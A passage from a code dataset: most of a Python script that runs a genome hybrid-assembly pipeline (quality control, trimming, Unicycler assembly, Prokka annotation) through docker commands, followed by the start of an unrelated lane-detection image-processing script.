stdout=subprocess.PIPE)\n else:\n self.SystemType = \"Unix\"\n self.SystemThreads = subprocess.Popen('nproc --all', shell=True, stdout=subprocess.PIPE)\n self.DockerThreads = subprocess.Popen('docker run -it --rm --name ubuntu_bash christophevde/ubuntu_bash:v2.0_stable nproc --all', shell=True, stdout=subprocess.PIPE)\n\n def TranslateSubprocesOutput(self):\n # Translates the output of the \"Threads\"-related subprocesses to something useable\n for key, value in self.__dict__.items():\n if key in [\"SystemThreads\", \"DockerThreads\"]:\n for line in value.stdout:\n if any(char.isdigit() for char in line.decode(\"UTF-8\")):\n self.__dict__[key] = int(line.decode(\"UTF-8\"))\n\n def GetThreadsToUse(self):\n # Tip to increase maximum aoount of threads for Docker\n if self.DockerThreads < self.SystemThreads:\n print(\"\\nYou might still be able to increase the amount of threads available to Docker. Check your Docker or Virtual-Machine Settings\\n\")\n # Ask user for the amount of threads to use for the analysis\n self.UseThreads = str(input(\"How many threads do you want to use for the analysis (min = 1, max = {}): \".format(self.DockerThreads)))\n while int(self.UseThreads) not in range(1, int(self.DockerThreads) + 1):\n self.UseThreads = str(input(\"[ERROR] Chosen amount of threads is outside the possible range (min = 1, max = {}): \".format(self.DockerThreads)))\n\n# User settings --------------------------------------------------------------------------------------------\nclass Settings:\n def __init__(self):\n self.Illumina = input(\"\\nLocation of Illumina samples:\\n\")\n self.MinIon = input(\"Location of Minion samples:\\n \")\n self.Results = input(\"Where do you want to save the results:\\n \")\n self.CorrespondingSamples = input(\"Input location of text file containing info on wich Illumina sample corresponds with which MinIon sample:\\n \")\n self.Adaptors = input(\"Location of the adaptorfile for trimming:\\n \")\n self.BarcodeKit = input(\"Which barcode-kit was used for the Minion samples: \")\n self.Run = date.today().strftime(\"%Y%m%d\")\n self.Scripts = os.path.dirname(os.path.realpath(__file__))\n\n def CheckLocations(self):\n for key in self.__dict__.keys():\n # locations that should be a directory\n if key in [\"Illumina\", \"MinIon\", \"Scripts\", \"Results\"]:\n while not os.path.isdir(self.__dict__[key]):\n self.__dict__[key] = input(\"[ERROR] Directory not found, please provide correct location of {}: \".format(key))\n # locations that should be a file\n elif key in [\"Adaptors\"]:\n while not os.path.isfile(self.__dict__[key]):\n self.__dict__[key] = input(\"[ERROR] File not found, please provide correct location of {}: \".format(key))\n\n def CreateFoldersIfNotExist(self):\n folders = [self.Results+\"/Hybrid/\"+self.Run,]\n for i in folders:\n os.makedirs(i, exist_ok=True)\n\n def CreateSettingsFile(self):\n file = open(os.path.dirname(os.path.dirname(os.path.dirname((os.path.realpath(__file__))))) + \"\\\\Modules\\\\Settings\\\\Hybrid\\\\UserSettings\" + self.Run + \".py\", \"w\")\n for key, value in self.__dict__.items():\n if key in [\"Illumina\", \"MinIon\", \"Adaptors\", \"Results\", \"Scripts\", \"StartGenes\", \"CorrespondingSamples\"]:\n file.write(\"{} = r'{}'\\n\".format(key, value))\n else:\n file.write(\"{} = r'{}'\\n\".format(key, value))\n file.close()\n\n# Organism specific settings -------------------------------------------------------------------------------\nclass OrganismData:\n def __init__(self):\n self.Kingdom = input(\"\\nKingdom of sample-organism: \")\n self.Genus = input(\"Genus of sample-organism: \")\n self.Species = input(\"Species of sample-organism: \")\n self.StartGenes = input(\"Location of multifasta containing start-genes for annotation:\\n\")\n\n def CheckLocations(self):\n for key in self.__dict__.keys():\n # locations that should be a file\n if key == \"StartGenes\":\n while not os.path.isfile(self.__dict__[key]):\n self.__dict__[key] = input(\"[ERROR] File not found, please provide correct location of {}: \".format(key))\n\n def CreateOrganismFile(self):\n file = open(os.path.dirname(os.path.dirname(os.path.dirname((os.path.realpath(__file__))))) + \"\\\\Modules\\\\OrganismData\\\\OrganismInfo\\\\\" + self.Genus + \"_\" + self.Species + \".py\", \"w\")\n for key, value in self.__dict__.items():\n if key in [\"Illumina\", \"MinIon\", \"Adaptors\", \"Results\", \"Scripts\", \"StartGenes\", \"CorrespondingSamples\"]:\n file.write(\"{} = r'{}'\\n\".format(key, value))\n else:\n file.write(\"{} = '{}'\\n\".format(key, value))\n file.close()\n\n# Converst Windows folder paths for mountig in Docker ------------------------------------------------------\nclass PathConverter:\n def __init__(self, SystemType, class1, class2):\n if SystemType == 'Windows':\n for data in [class1, class2]:\n for key, value in data.__dict__.items():\n if key in [\"Illumina\", \"MinIon\", \"Adaptors\", \"Results\", \"Scripts\", \"StartGenes\", \"CorrespondingSamples\"]:\n for letter in list(string.ascii_lowercase+string.ascii_uppercase):\n if value.startswith(letter+\":/\"):\n self.__dict__[key] = value.replace(letter+\":/\",\"/\"+letter.lower()+\"//\").replace('\\\\','/')\n elif value.startswith(letter+\":\\\\\"):\n self.__dict__[key] = value.replace(letter+\":\\\\\",\"/\"+letter.lower()+\"//\").replace('\\\\','/')\n else:\n for key, value in data.__dict__.items():\n if key in [\"Illumina\", \"MinIon\", \"Adaptors\", \"Results\", \"Scripts\", \"StartGenes\", \"CorrespondingSamples\"]:\n self.__dict__[key] = value\n\n# Timer ----------------------------------------------------------------------------------------------------\nclass Timer:\n def __init__(self):\n self.AnalysisTime = datetime.now()\n\n def NewTimer(self, step):\n self.__dict__[step] = datetime.now()\n\n def StopTimer(self, step):\n self.__dict__[step] = datetime.now() - self.__dict__[step]\n self.__dict__[step] = str(self.__dict__[step]).split(\":\")\n # self.__dict__[step] = \"{}H, {}MM, {}SS\".format(self.__dict__[step][0], self.__dict__[step][1], self.__dict__[step][2].split(\".\")[0])\n\n# FUNCTIONS==================================================================================================\n# List modules ----------------------------------------------------------------------------------------------\ndef ListModules(path):\n # List available modules --------------------------------------------------------------------------------\n modules = []\n for module in os.listdir(path):\n if \".py\" in module and module != \"__init__.py\":\n modules.append(module.replace(\".py\", \"\"))\n print(modules)\n # Ask for module to import ------------------------------------------------------------------------------\n toImport = input(\"module to import: \")\n while not toImport in modules:\n toImport = input(\"module to import: \")\n return toImport\n\n# SHORT READ SAMPLE LIST CREATION----------------------------------------------------------------------------\ndef sample_list(Illumina):\n global ids\n ids =[]\n for sample in os.listdir(Illumina):\n if \".fastq.gz\" in sample:\n ids.append(sample.replace('_L001_R1_001.fastq.gz','').replace('_L001_R2_001.fastq.gz',''))\n ids = sorted(set(ids))\n return ids\n# ===========================================================================================================\n\n# ASSEMBLY PREPARATION: USER INPUT===========================================================================\n# Ask For \"Settings\" & \"Organism\"-file ----------------------------------------------------------------------\nsettingsfile = input(\"Do you have a premade Settings-file that you want to use? (y/n): \").lower()\norganismfile = input(\"Do you have a premade file containing info about the organism of your samples? (y/n): \").lower()\n\n# Get sytem info --------------------------------------------------------------------------------------------\nsystem = SystemInfo()\nsystem.TranslateSubprocesOutput()\nsystem.GetThreadsToUse()\n\n# import settings-file if exists -----------------------------------------------------------------------------\nif settingsfile == 'y':\n sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname((os.path.realpath(__file__))))) + '\\Modules\\Settings\\Hybrid')\n UserSettings = importlib.import_module(ListModules(os.path.dirname(os.path.dirname(os.path.dirname((os.path.realpath(__file__))))) + '\\Modules\\Settings\\Hybrid'))\n# Get general settings --------------------------------------------------------------------------------------\nelse:\n UserSettings = Settings()\n UserSettings.CheckLocations()\n UserSettings.CreateFoldersIfNotExist()\n UserSettings.CreateSettingsFile()\n\n# import organism-file if exists -----------------------------------------------------------------------------\nif organismfile == 'y':\n sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname((os.path.realpath(__file__))))) + '\\Modules\\OrganismData\\OrganismInfo')\n Organism = importlib.import_module(ListModules(os.path.dirname(os.path.dirname(os.path.dirname((os.path.realpath(__file__))))) + '\\Modules\\OrganismData\\OrganismInfo'))\n# Get organism specific info --------------------------------------------------------------------------------\nelse:\n Organism = OrganismData()\n Organism.CheckLocations()\n Organism.CreateOrganismFile()\n\n# Convert folderpaths for mounting in docker-container when using Windows -----------------------------------\nConvertedPaths = PathConverter(system.SystemType, UserSettings, Organism)\n\n# Activate Timer: Full analysis -----------------------------------------------------------------------------\ntimer = Timer()\n\n# Enable error collection -----------------------------------------------------------------------------------\nerrors = []\nerror_count = 0\n# ===========================================================================================================\n\n# ASSEMBLY PREPARATION: GENERAL PREPARATION =================================================================\n# Move and rename required \"info\"-files to \"Results\"-folder -------------------------------------------------\nshutil.copy(UserSettings.CorrespondingSamples, UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/corresponding_samples.txt\")\nif not Organism.StartGenes == '':\n shutil.copy(Organism.StartGenes, UserSettings.Results + \"/Hybrid/\" + UserSettings.Run + \"/start_genes.fasta\")\n\n# List content of \"Illumina\"-folder and save it in a file ---------------------------------------------------\nfile = open(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/sampleList.txt\",mode=\"w\")\nfor i in sample_list(UserSettings.Illumina):\n file.write(i+\"\\n\")\nfile.close()\n\n# COPY ILLUMINA SAMPLES TO RESULTS---------------------------------------------------------------------------\nprint(\"\\n[HYBRID][SHORT READS] Copying rawdata\") \ncopy = 'docker run -it --rm \\\n --name copy_rawdata \\\n -v \"'+ConvertedPaths.Illumina+':/home/rawdata/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n christophevde/ubuntu_bash:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/01_copy_rawdata.sh \\\n && sh /home/Scripts/Short_read/01_copy_rawdata.sh '+UserSettings.Run+'\"'\nos.system(copy)\nprint(\"Done\")\n\n# ============================================================================================================\n\n\nwhile error_count == 0:\n# [HYBRID ASSEMBLY] SHORT READS ==============================================================================\n\n# SHORT READS: FASTQC RAWDATA (DOCKER)-------------------------------------------------------------------------\n print(\"\\n[HYBRID][SHORT READS] FastQC rawdata\")\n for sample in ids:\n my_file1 = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/01_QC-Rawdata/QC_FastQC/\"+sample+\"_L001_R1_001_fastqc.html\")\n my_file2 = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/01_QC-Rawdata/QC_FastQC/\"+sample+\"_L001_R1_001_fastqc.html\")\n if not my_file1.is_file() and not my_file2.is_file():\n os.system('docker run -it --rm \\\n --name fastqc_raw \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n christophevde/fastqc:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/QC01_FastQC_Raw.sh \\\n && /home/Scripts/Short_read/QC01_FastQC_Raw.sh '+sample+' '+UserSettings.Run+' '+system.UseThreads+'\"')\n if not my_file1.is_file() or not my_file2.is_file():\n errors.append(\"[ERROR] STEP 1: FastQC; quality control rawdata (short reads)\")\n error_count +=1\n else:\n print(\" - FastQC results for the rawdata of sample \"+sample+\" already exists\")\n print(\"Done\")\n\n#SHORT READS: MULTIQC RAWDATA (DOCKER)-----------------------------------------------------------------------\n print(\"\\n[HYBRID][SHORT READS] MultiQC rawdata\")\n #FULL RUN------------------------------------------------------------------------------------------------\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/QC_MultiQC/QC-Rawdata/multiqc_report.html\")\n if not my_file.is_file():\n #CREATE TEMP FOLDER----------------------------------------------------------------------------------\n os.makedirs(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/temp/\", exist_ok=True)\n #COPY FASTQC RESULTS---------------------------------------------------------------------------------\n print(\"creating temporary directory to copy all fastqc results of rawdata\")\n for sample in ids:\n os.system('docker run -it --rm\\\n --name copy_fastqc\\\n -v \"'+UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/01_Short_reads/'+sample+'/01_QC-Rawdata/QC_FastQC/:/home/fastqc\" \\\n -v \"'+UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/temp/:/home/multiqc\" \\\n christophevde/ubuntu_bash:v2.2_stable \\\n /bin/bash -c \"cp -rn /home/fastqc/* /home/multiqc\"')\n #EXECUTE MULTIQC-------------------------------------------------------------------------------------\n os.system('docker run -it --rm \\\n --name multiqc_raw \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n christophevde/multiqc:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/QC01_MultiQC_Raw_FullRun.sh \\\n && /home/Scripts/Short_read/QC01_MultiQC_Raw_FullRun.sh '+UserSettings.Run+'\"')\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 2: MultiQC; quality control rawdata (short reads)\")\n error_count +=1\n else:\n print(\" - MultiQC results for the full run (rawdata) already exists\")\n #REMOVE TEMP FOLDER----------------------------------------------------------------------------------\n os.system('docker run -it --rm\\\n --name delete_temp_folder\\\n -v \"'+UserSettings.Results+'/Hybrid/'+UserSettings.Run+':/home/multiqc\" \\\n christophevde/ubuntu_bash:v2.2_stable \\\n /bin/bash -c \"rm -R /home/multiqc/temp\"')\n #EACH SAMPLE SEPARALTY-----------------------------------------------------------------------------------\n for sample in ids:\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/01_QC-Rawdata/QC_MultiQC/multiqc_report.html\")\n if not my_file.is_file():\n os.system('docker run -it --rm \\\n --name multiqc_raw \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n christophevde/multiqc:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/QC01_MultiQC_Raw_oneSample.sh \\\n && /home/Scripts/Short_read/QC01_MultiQC_Raw_oneSample.sh '+sample+' '+UserSettings.Run+'\"')\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 2: MultiQC; quality control rawdata (short reads)\")\n error_count +=1\n else:\n print(\" - MultiQC results for the rawdata of sample \"+sample+\" already exists\")\n print(\"Done\")\n#SHORT READS: TRIMMING (DOCKER)------------------------------------------------------------------------------\n print(\"\\n[HYBRID][SHORT READS] Trimming\")\n for sample in ids:\n my_file1 = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/02_Trimmomatic/\"+sample+\"_L001_R1_001_P.fastq.gz\")\n my_file2 = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/02_Trimmomatic/\"+sample+\"_L001_R2_001_P.fastq.gz\")\n if not my_file1.is_file() and not my_file2.is_file():\n os.system('docker run -it --rm \\\n --name trimmomatic \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n christophevde/trimmomatic:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/02_runTrimmomatic.sh \\\n && /home/Scripts/Short_read/02_runTrimmomatic.sh '+sample+' '+UserSettings.Run+' '+system.UseThreads+'\"')\n if not my_file1.is_file() or not my_file2.is_file():\n errors.append(\"[ERROR] STEP 3: TRIMMOMATIC; trimming adaptors form reads (short reads)\")\n error_count +=1\n else:\n print(\" - Trimmomatic results of sample \"+sample+\" already exists\")\n print(\"Done\")\n#SHORT READS: FASTQC TRIMMED (DOCKER)------------------------------------------------------------------------\n print(\"\\n[HYBRID][SHORT READS] FastQC Trimmed data\")\n for sample in ids:\n my_file1 = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/03_QC-Trimmomatic_Paired/QC_FastQC/\"+sample+\"_L001_R1_001_P_fastqc.html\")\n my_file2 = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/03_QC-Trimmomatic_Paired/QC_FastQC/\"+sample+\"_L001_R1_001_P_fastqc.html\")\n if not my_file1.is_file() and not my_file2.is_file():\n os.system('docker run -it --rm \\\n --name fastqc_trim \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n christophevde/fastqc:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/QC02_FastQC_Trim.sh \\\n && /home/Scripts/Short_read/QC02_FastQC_Trim.sh '+sample+' '+UserSettings.Run+' '+system.UseThreads+'\"')\n if not my_file1.is_file() or not my_file2.is_file():\n errors.append(\"[ERROR] STEP 4: FastQC; quality control trimmed data (short reads)\")\n error_count +=1\n else:\n print(\" - FastQC results for the trimmed data of sample \"+sample+\" already exists\")\n print(\"Done\")\n#SHORT READS: MULTIQC TRIMMED (DOCKER)-----------------------------------------------------------------------\n print(\"\\n[HYBRID][SHORT READS] MultiQC Trimmed data\")\n #FULL RUN------------------------------------------------------------------------------------------------\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/QC_MultiQC/QC-Trimmed/multiqc_report.html\")\n if not my_file.is_file():\n #CREATE TEMP FOLDER--------------------------------------------------------------------------------------\n os.makedirs(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/temp/\", exist_ok=True)\n #COPY FASTQC RESULTS---------------------------------------------------------------------------------\n print(\"creating temporary directory to copy all fastqc results of trimmed data\")\n for sample in ids:\n os.system('docker run -it --rm \\\n --name copy_fastqc\\\n -v \"'+UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/01_Short_reads/'+sample+'/03_QC-Trimmomatic_Paired/QC_FastQC/:/home/fastqc\" \\\n -v \"'+UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/temp/:/home/multiqc\" \\\n christophevde/ubuntu_bash:v2.2_stable \\\n /bin/bash -c \"cp -rn /home/fastqc/* /home/multiqc\"')\n #EXECUTE MULTIQC-------------------------------------------------------------------------------------\n os.system('docker run -it --rm \\\n --name multiqc_trimmed \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n christophevde/multiqc:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/QC02_MultiQC_Trim_FullRun.sh \\\n && /home/Scripts/Short_read/QC02_MultiQC_Trim_FullRun.sh '+UserSettings.Run+'\"')\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 5: MultiQC; quality control trimmed data (short reads)\")\n error_count +=1\n else:\n print(\" - MultiQC results for the full run (trimmed data) already exists\")\n #REMOVE TEMP FOLDER----------------------------------------------------------------------------------\n os.system('docker run -it --rm \\\n --name delete_temp_folder\\\n -v \"'+UserSettings.Results+'/Hybrid/'+UserSettings.Run+':/home/multiqc\" \\\n christophevde/ubuntu_bash:v2.2_stable \\\n /bin/bash -c \"rm -R /home/multiqc/temp\"')\n #EACH SAMPLE SEPARALTY-----------------------------------------------------------------------------------\n for sample in ids:\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/01_Short_reads/\"+sample+\"/03_QC-Trimmomatic_Paired/QC_MultiQC/multiqc_report.html\")\n if not my_file.is_file():\n os.system('docker run -it --rm \\\n --name multiqc_raw \\\n -v \"'+ConvertedPaths.Scripts+':/home/Scripts/\" \\\n -v \"'+ConvertedPaths.Results+':/home/Pipeline/\" \\\n christophevde/multiqc:v2.2_stable \\\n /bin/bash -c \"dos2unix -q /home/Scripts/Short_read/QC02_MultiQC_Trim_oneSample.sh \\\n && /home/Scripts/Short_read/QC02_MultiQC_Trim_oneSample.sh '+sample+' '+UserSettings.Run+'\"')\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 5: MultiQC; quality control rawdata (short reads)\")\n error_count +=1\n else:\n print(\" - MultiQC results for the trimmed data of sample \"+sample+\" already exists\")\n print(\"Done\")\n# ===========================================================================================================\n\n\n# [HYBRID ASSEMBLY] LONG READS ==============================================================================\n#LONG READS: DEMULTIPLEXING (GUPPY)-------------------------------------------------------------------------\n print(\"\\n[HYBRID][LONG READS] Guppy: demultiplexing\")\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/01_Demultiplex/barcoding_summary.txt\")\n if not my_file.is_file():\n #file doesn't exist -> guppy demultiplex hasn't been run\n if system == \"UNIX\":\n os.system(\"dos2unix -q \"+UserSettings.Scripts+\"/Long_read/01_demultiplex.sh\")\n os.system('sh ./Scripts/Long_read/01_demultiplex.sh '\\\n +UserSettings.MinIon+'/fastq/pass '\\\n +UserSettings.Results+' '\\\n +UserSettings.Run+' '\\\n +system.UseThreads)\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 6: Guppy demultiplexing failed\")\n error_count +=1\n else:\n print(\" - Results already exist\")\n print(\"Done\")\n#LONG READS: QC (PYCOQC)------------------------------------------------------------------------------------\n print(\"\\n[HYBRID][LONG READS] PycoQC: Performing QC on Long reads\")\n if not os.path.exists(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/02_QC/\"):\n os.makedirs(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/02_QC/\")\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/02_QC/QC_Long_reads.html\")\n if not my_file.is_file():\n #file doesn't exist -> pycoqc hasn't been run\n if system == \"UNIX\":\n os.system(\"dos2unix -q \"+UserSettings.Scripts+\"/Long_read/02_pycoQC.sh\") \n os.system('sh ./Scripts/Long_read/02_pycoQC.sh '\\\n +UserSettings.MinIon+'/fast5/pass '\\\n +UserSettings.Results+'/Hybrid/'+UserSettings.Run+' '\\\n +system.UseThreads)\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 7: PycoQC quality control failed\")\n error_count +=1\n else:\n print(\"Results already exist\")\n print(\"Done\")\n#LONG READS: DEMULTIPLEXING + TRIMMING (PORECHOP)-----------------------------------------------------------\n print(\"\\n[HYBRID][LONG READS] Porechop: Trimming Long reads\")\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/02_QC/demultiplex_summary.txt\")\n if not my_file.is_file():\n #file doesn't exist -> porechop trimming hasn't been run\n if system == \"UNIX\":\n os.system(\"dos2unix -q \"+UserSettings.Scripts+\"/Long_read/03_Trimming.sh\")\n #demultiplex correct + trimming \n os.system('sh '+UserSettings.Scripts+'/Long_read/03_Trimming.sh '\\\n +UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/02_Long_reads/01_Demultiplex '\\\n +UserSettings.Results+' '\\\n +UserSettings.Run+' '\\\n +system.UseThreads)\n #creation of summary table of demultiplexig results (guppy and porechop)\n os.system(\"python3 \"+UserSettings.Scripts+\"/Long_read/04_demultiplex_compare.py \"\\\n +UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/01_Demultiplex/ \"\\\n +UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/03_Trimming/ \"\\\n +UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/02_Long_reads/02_QC/\")\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 8: Porechop demuliplex correction and trimming failed\")\n error_count +=1\n else:\n print(\"Results already exist\")\n print(\"Done\")\n# ===========================================================================================================\n\n\n# [HYBRID ASSEMBLY] HYBRID ASSEMBLY =========================================================================\n #READ SAMPLE FILE---------------------------------------------------------------------------------------\n print(\"Collecting data of corresponding Illumina and MinIon samples\")\n file = open(UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/corresponding_samples.txt', \"r\")\n c = 0\n samples = {}\n for line in file:\n if c >= 1:\n #skip header line\n ids = line.replace('\\n','').split(\",\")\n samples[ids[0]] = ids[1]\n c +=1\n file.close()\n #EXECUTE UNICYCLER---------------------------------------------------------------------------------------\n print(\"\\n[HYBRID][ASSEMBLY] Unicycler: building hybrid assembly\")\n if system == \"UNIX\":\n os.system(\"dos2unix -q \"+UserSettings.Scripts+\"/01_Unicycler.sh\")\n for key, value in samples.items():\n #key = barcode; value = Illumina ID\n my_file = Path(UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/03_Assembly/'+value+'/assembly.gfa')\n if not my_file.is_file():\n print(\"Creating hybrid assembly with Illumina sample: \"+value+\" and MinIon sample with Barcode: \"+key)\n os.system('sh '+UserSettings.Scripts+'/01_Unicyler.sh'\\\n +value+' '\\\n +key+' '\\\n +UserSettings.Results+'/Hybrid/'+UserSettings.Run+' '\\\n +system.UseThreads)\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 9: Unicycler hybrid assembly failed\")\n error_count +=1\n else:\n print(\" - Results for sample \"+value+\" already exist\")\n print(\"Done\")\n print(\"Done\")\n#BANDAGE----------------------------------------------------------------------------------------------------\n print(\"Bandage is an optional step used to visualise and correct the created assemblys, and is completely manual\")\n Bandage = input(\"Do you wan't to do a Bandage visualisalisation? (y/n)\").lower()\n if Bandage == \"y\":\n Bandage_done = input(\"[WAITING] If you're done with Bandage input 'y' to continue: \").lower()\n while Bandage_done != 'y':\n Bandage_done = input(\"[WAITING] If you're done with Bandage input 'y' to continue: \").lower()\n elif Bandage == \"n\":\n print(\"skipping Bandage step\")\n#PROKKA-----------------------------------------------------------------------------------------------------\n print(\"\\n[HYBRID][ANNOTATION] Prokka: annotating assembly\")\n if system == \"UNIX\":\n os.system(\"dos2unix -q \"+UserSettings.Scripts+\"/02_Prokka.sh\")\n for sample in os.listdir(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/03_Assembly/\"):\n my_file = Path(UserSettings.Results+\"/Hybrid/\"+UserSettings.Run+\"/04_Prokka/\"+sample+\"/*.gff\")\n if not my_file.is_file():\n os.system('sh '+UserSettings.Scripts+'/02_Prokka.sh '\\\n +UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/04_Prokka/'+sample+' '\\\n +Organism.Genus+' '\\\n +Organism.Species+' '\\\n +Organism.Kingdom+' '\\\n +UserSettings.Results+'/Hybrid/'+UserSettings.Run+'/03_Assembly/'+sample+'/assembly.fasta '\\\n +system.UseThreads)\n if not my_file.is_file():\n errors.append(\"[ERROR] STEP 11: Prokka annotation failed\")\n error_count +=1\n else:\n print(\"Results already exist for \"+sample)\n print(\"Done\")\n#ERROR DISPLAY----------------------------------------------------------------------------------------------\nif error_count > 0:\n print(\"[ERROR] Assembly failed, see message(s) below to find out where:\")\n for error in errors:\n print(error)\n#===========================================================================================================\n\n#TIMER END==================================================================================================\ntimer.StopTimer(\"AnalysisTime\")\n#CONVERT TO HUMAN READABLE----------------------------------------------------------------------------------\nprint(\"Analysis took: {} (H:MM:SS) \\n\".format(timer))\n#===========================================================================================================\n","sub_path":"Application/Scripts/Hybrid/hybrid_assembly.py","file_name":"hybrid_assembly.py","file_ext":"py","file_size_in_byte":33572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"280345895","text":"from moviepy.editor import VideoFileClip\r\nfrom IPython.display import HTML\r\nimport numpy as np\r\nimport cv2\r\nimport pickle\r\nimport matplotlib.pyplot as plt\r\nimport glob\r\nimport pickle \r\nfrom window_tracker import window_tracker\r\n\r\ndist_p = pickle.load(open('./calibration_pickle.p', 'rb'))\r\nmtx = dist_p[\"mtx\"]\r\ndist = dist_p[\"dist\"]\r\n\r\ndef abs_sobel_thresh(img, orient = 'x', sobel_kernel=3, thresh=(0, 255)):\r\n\t# Convert to grayscale\r\n\tgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\t# Take sobel x and y\r\n\tif orient == 'x':\r\n\t\tsobel = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\r\n\tif orient == 'y':\r\n\t\tsobel = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\r\n\t# Find absolute gradient\r\n\tabs_sobel = np.absolute(sobel)\r\n\t# Scale to 8 bit\r\n\tscaled_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel))\r\n\t# Apply threshold\r\n\tgrad_binary = np.zeros_like(scaled_sobel)\r\n\tgrad_binary[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\r\n\r\n\treturn grad_binary\r\n\r\ndef mag_thresh(image, sobel_kernel=3, mag_thresh = (0, 255)):\r\n\t# Convert to grayscale\r\n\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n\t# Take sobel x and y gradients\r\n\tsobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\r\n\tsobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\r\n\t# Caculate gradient magnitude\r\n\tgradmag = np.sqrt(sobelx**2 + sobely**2)\r\n\t# rescale to 8 bit\r\n\tgradmag = ((gradmag*255)/np.max(gradmag)).astype(np.uint8)\r\n\t# Apply threshold\r\n\tmag_binary = np.zeros_like(gradmag)\r\n\tmag_binary[(gradmag>= mag_thresh[0]) & (gradmag <= mag_thresh[1])] = 1\r\n\r\n\treturn mag_binary\r\n\r\ndef dir_threshold(image, sobel_kernel=3, thresh=(0, np.pi/2)):\r\n\t# Convert to grayscale\r\n\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n\t# Take sobel x and y gradients\r\n\tsobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\r\n\tsobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\r\n\t# Find absolute gradients\r\n\tabs_sobelx = np.absolute(sobelx)\r\n\tabs_sobely = np.absolute(sobely)\r\n\t# Find gradient direction\r\n\tdirection = np.arctan2(abs_sobely, abs_sobelx)\r\n\t# Apply 